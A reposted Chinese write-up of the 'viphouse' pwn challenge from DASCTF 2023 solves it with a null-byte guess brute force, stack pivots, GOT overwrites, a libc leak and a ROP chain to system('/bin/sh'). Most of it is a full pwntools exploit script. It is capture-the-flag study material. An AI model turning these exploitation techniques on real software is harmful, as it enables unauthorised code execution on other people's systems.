[DASCTF 2023 0X401七月暑期挑战赛] viphouse复现

news2024/11/25 7:21:15

这个题想了好久,无果,终于看到WP。照着作了一遍。WP里没有详细解释,所以复现得很辛苦。

程序有5个菜单和1个初始化程序:

  1. init 先从os.random读8个字节放到src处
  2. login 读入用户名密码,其中密码栈里设的0x40可以读入0x68 可以溢出到 canary + rbp  外加3个字。但这里需要有canary才行
  3. UAF有两个菜单一个是建块写入数据一个是删块,由于初始变量为0,退出后再入可以多次建块,但无法多次删,所以这里没有UAF
  4. canary可以给出canary但需要先猜对src存的随机数。
  5. logout置个状态没啥特殊的

一直找不到漏洞点。看WP才恍然大悟。在4这人位置先将src读入到s然后再比较。如果src的第1个字节是0,那么它只复制1个\0后边被初始化的都是0,所以输入8个0就能通过。这里爆破成功率1/256。

 得到canary后可以调用login,通过pass这里的溢出来获取libc和shell,不过负载只有3个字太小了,而且这题只有一个pop rbp 其它都不用pop操作。所以要分几步。

  1. 修改printf为puts

     

    1. 先通过溢出移栈到ptr+0x2a0,执行login(去掉sub rsp部分) 
    2. 这时候写name的时候会写到ptr上,然后调用add_note向ptr写8字节,也就是向got表写,将printf的got指向plt.puts

同上修改__stack_chk_fail的got表为pop rbp;ret 使其不退出,并用pop rbp平衡(进函数时会push rsp,返回时pop rbp 恢复rbp的值为rsp,消除错位rbp的影响)

再执行时name这里可以写ROP了,这里用到gift里一部分

 从这里(0x4015d0)调整rbp,即可通过printf打印出libc值。

然后再一次移栈,输入system(bin/sh)

from pwn import *

context(arch='amd64', log_level = 'debug')

elf = ELF('./viphouse')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

#1/256 key = \0XXXXXXX   strcpy -> \0\0\0\0\0\0\0\0
while True:
    p = process('./viphouse')
    #gdb.attach(p,'b*0x40150e\nc')
    #login
    p.sendlineafter(b"Choose an option: ", b'1')
    p.sendlineafter(b"Please enter your username: ", b"admin\x00")
    p.sendlineafter(b"Please enter your password: ", b"root\x00")

    p.sendlineafter(b"Choose an option: ", b'4')
    p.sendlineafter(b"Please input the number you guess: \n", b'\x00'*8)
    if b'gift' in p.recv(0x15):
        break 
    else:
        p.close()
        

canary = int(p.recvline(), 16)
print(f"{canary = :x}")

#gdb.attach(p, 'b*0x401ac3\nc')


bss = 0x404f00
ptr = 0x404128
pop_rbp = 0x40139d
leave_ret = 0x40147b
rsp_offset = 0x2a0
login_no_sub_rsp = 0x401991
p.sendlineafter(b"Choose an option: ", b'5')
p.sendlineafter(b"Choose an option: ", b'1')
p.sendlineafter(b"Please enter your username: ", b"admin\x00")
p.sendlineafter(b"Please enter your password: ", b"\x00"*0x40 + flat(canary, ptr+rsp_offset, login_no_sub_rsp))


p.sendlineafter(b"Please enter your username: ", p64(elf.got['printf']))   #ptr=got.printf
p.sendafter(b"Please enter your password: ", b"\x00"*0x40 + flat(canary, ptr+rsp_offset+0x10, 0x4017f2, bss, login_no_sub_rsp)) #got.printf->plt.puts
p.send(p64(elf.plt['puts']))

p.sendlineafter(b"Please enter your username: ", b"admin\x00")
p.sendlineafter(b"Please enter your password: ", b"\x00"*0x40 + flat(canary, ptr+rsp_offset, login_no_sub_rsp))

p.sendlineafter(b"Please enter your username: ", p64(elf.got['__stack_chk_fail']))   #ptr=got.stack_chk_fail
p.sendafter(b"Please enter your password: ", b"\x00"*0x40 + flat(canary, ptr+rsp_offset+0x10, 0x4017f2, bss, login_no_sub_rsp)) #read got.__stack_chk_fail = pop_rbp;ret
p.send(p64(pop_rbp))

p.sendlineafter(b"Please enter your username: ", flat(elf.got['srand']+0xe, 0x4015d0, elf.sym['login']))   #gift.printf(rbp+format:0xe)
p.sendlineafter(b"Please enter your password: ", b"\x00"*0x40 + flat(canary, 0x404c60, leave_ret)) 

p.recvline()
libc.address = u64(p.recv(6).ljust(8, b'\x00')) - libc.sym['srand']
pop_rdi = next(libc.search(asm('pop rdi;ret')))
bin_sh = next(libc.search(b'/bin/sh\0'))
system = libc.sym['system']
ret = pop_rdi+1

print(f"{libc.address = :x}")


p.sendlineafter(b"Please enter your username: ", flat(0, ret, pop_rdi, bin_sh, system)) 
p.sendlineafter(b"Please enter your password: ", b"\x00"*0x40 + flat(canary, 0x4049d0, leave_ret)) 

p.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/794766.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【Ap模块EM】08-怎么让Execution Management成为第一个执行的进程?

前面的文章,我们讲述了ubuntu系统上电执行的流程,那么在Ap AutoSAR中Execution Management怎么成为第一个被执行的进程呢额?就是让它取代传统的init进程,成为ubuntu系统第一个执行的进程? 我们可以通过符号链接 symbolic link去实现,这个类似于windows系统中的某个exe文件…

mongoDB详解

mongoDB详解 mongodb是一个nosql数据库,它有高性能、无模式、文档型的特点。他是nosql数据库中功能最丰富,最像关系数据库的。 mongoDb基本介绍 mongodb里面有以下几个核心概念:文档:mongodb数据库的最小数据集,是由…

关于阿里云OSS服务器绑定域名及Https证书

这是一个没有套路的前端博主,热衷各种前端向的骚操作,经常想到哪就写到哪,如果有感兴趣的技术和前端效果可以留言~博主看到后会去代替大家踩坑的~ 主页: oliver尹的主页 格言: 跌倒了爬起来就好~ 关于阿里云…

安全学习DAY07_其他协议抓包技术

协议抓包技术-全局-APP&小程序&PC应用 抓包工具-Wireshark&科来分析&封包 TCPDump: 是可以将网络中传送的数据包完全截获下来提供分析。它支持针对网络层、协议、主机、网络或端口的过滤,并提供and、or、not等逻辑语句来帮助你去掉无用…

TypeError: Failed to fetch dynamically imported module

浏览器报了如下错误: vue文件如下: 错误出现的原因是因为导入的是路径,vue会在该路径下的文件夹搜索所有文件,但是没有找到对应的组件,但是浏览器并不会直接禁止访问,而是在控制台报错,解决办法…

量化交易——python数据分析及可视化

该项目分为两个部分:一是数据计算,二是可视化,三是MACD策略 一、计算MACD 1、数据部分 数据来源:tushare 数据字段包含:日期,开盘价,收盘价,最低价,最高价&#xff0c…

11.python设计模式【责任链模式】

内容:使多个对象都有机会处理请求,从而避免请求的发送者和接收者之间的耦合关系。将这些对象连成一条链,并沿着这条链传递该请求,直到有一个对象处理它为止。角色: 抽象处理者(Handler)具体处理…

Unity实现camera数据注入RMP推送或轻量级RTSP服务模块

技术背景 随着技术的不断进步和应用的不断深化,Unity3D VR应用的前景非常广阔,它广泛应用于教育、医疗、军事、工业设计、虚拟数字人等多个领域。 教育领域:Unity3D VR技术可以用来创建虚拟现实教室,让学生能够身临其境地体验课…

微信小程序 事件和语法

属性列表 target&#xff1a;触发事件的对象currentTarget&#xff1a;绑定事件的对象&#xff0c;可能不是由此对象触发而是触发对象冒泡导致触发此事件 微信小程序 事件绑定 <button type"primary" bindtap"btnTapHandler">按钮</button> …

pytorch学习-线性神经网络——softmax回归+损失函数+图片分类数据集

1.softmax回归 Softmax回归&#xff08;Softmax Regression&#xff09;是一种常见的多分类模型&#xff0c;可以用于将输入变量映射到多个类别的概率分布中。softmax回归是机器学习中非常重要并且经典的模型&#xff0c;虽然叫回归&#xff0c;实际上是一个分类问题 1.1分类与…

ORCA优化器浅析——Exploration and Implementation Apply CXform Phase

GPORCA通过规则对表达式做转换&#xff0c;规则分为两类&#xff1a;Exploration&#xff0c;是对逻辑表达式做等价变换的&#xff1b;Implementation&#xff0c;是把逻辑操作符转换为物理操作符。Except the types of operator generated during Exploration (Logical > L…

手机python怎么用海龟画图,python怎么在手机上编程

大家好&#xff0c;给大家分享一下手机python怎么用海龟画图&#xff0c;很多人还不知道这一点。下面详细解释一下。现在让我们来看看&#xff01; 1、如何python手机版创造Al&#xff1f; 如果您想在手机上使用Python来创建AI&#xff08;人工智能&#xff09;程序&#xff0…

服务器推送、在线游戏和电子邮件背后的网络协议

之前也聊了不少网络协议这块内容&#xff0c;现在我们将深入探讨关键的网络协议及其在不同应用中的作用。重点在于理解这些协议如何塑造我们在互联网上的通信和互动方式。我们将深入研究以下领域&#xff1a; WebSocket 在之前的讨论中&#xff0c;我们研究了HTTP及其在客户端和…

帮助中心客户服务中的作用与应用

随着互联网的快速发展&#xff0c;越来越多的企业开始寻求更加高效、便捷的客户服务方式&#xff0c;帮助中心的自助服务作为一种新型的客户服务模式&#xff0c;受到了广泛关注。本文将针对帮助中心的自助服务在客户服务中的作用与应用进行深入探讨。 帮助中心在客户服务中的…

scrcpy2.0+实时将手机画面显示在屏幕上并用鼠标模拟点击2023.7.26

想要用AI代打手游&#xff0c;除了模拟器登录&#xff0c;也可以直接使用第三方工具Scrcpy&#xff0c;来自github&#xff0c;它是一个开源的屏幕镜像工具&#xff0c;可以在电脑上显示Android设备的画面&#xff0c;并支持使用鼠标进行交互。 目录 1. 下载安装2. scrcpy的高级…

文本预处理——文本数据分析

目录 文本数据分析中文酒店评价语料获得训练集和验证集的标签数量分布获取训练集和验证集的句子长度分布获取训练集和验证集的正负样本长度散点分布获得训练集和验证集不同词汇总数统计获得训练集上正负的样本的高频形容词词云获得验证集上正负的样本的形容词词云 文本数据分析…

Golang指针详解

要搞明白Go语言中的指针需要先知道3个概念&#xff1a;指针地址、指针类型和指针取值。 指针介绍 我们知道变量是用来存储数据的&#xff0c;变量的本质是给存储数据的内存地址起了一个好记的别名。比如我们定义了一个变量 a : 10 ,这个时候可以直接通过 a 这个变量来读取内存…

IPv6 over IPv4

IPv6 over IPv4隧道简介 IPv6 over IPv4隧道可实现IPv6网络孤岛之间通过IPv4网络互连。由于IPv4地址的枯竭和IPv6的先进性&#xff0c;IPv4过渡为IPv6势在必行。因为IPv6与IPv4的不兼容性&#xff0c;所以需要对原有的IPv4设备进行替换。但是如果贸然将IPv4设备大量替换所需成…

明晚直播:可重构计算芯片的AI创新应用分享!

大模型技术的不断升级及应用落地&#xff0c;正在推动人工智能技术发展进入新的阶段&#xff0c;而智能化快速增长和发展的市场对芯片提出了更高的要求&#xff1a;高算力、高性能、灵活性、安全性。可重构计算区别于传统CPU、GPU&#xff0c;以指令驱动的串行执行方式&#xf…

SpringBoot 集成 Elasticsearch

一、版本 spring-boot版本&#xff1a;2.3.7.RELEASEElasticsearch7.8.0版本说明详见 二、Elasticsearch 下载和安装 Elasticsearch 下载 kibana下载 ik分词器下载 配置IK分词器 2.1 解压&#xff0c;在elasticsearch-7.8.0\plugins 路径下新建ik目录 2.2 将ik分词器解压放…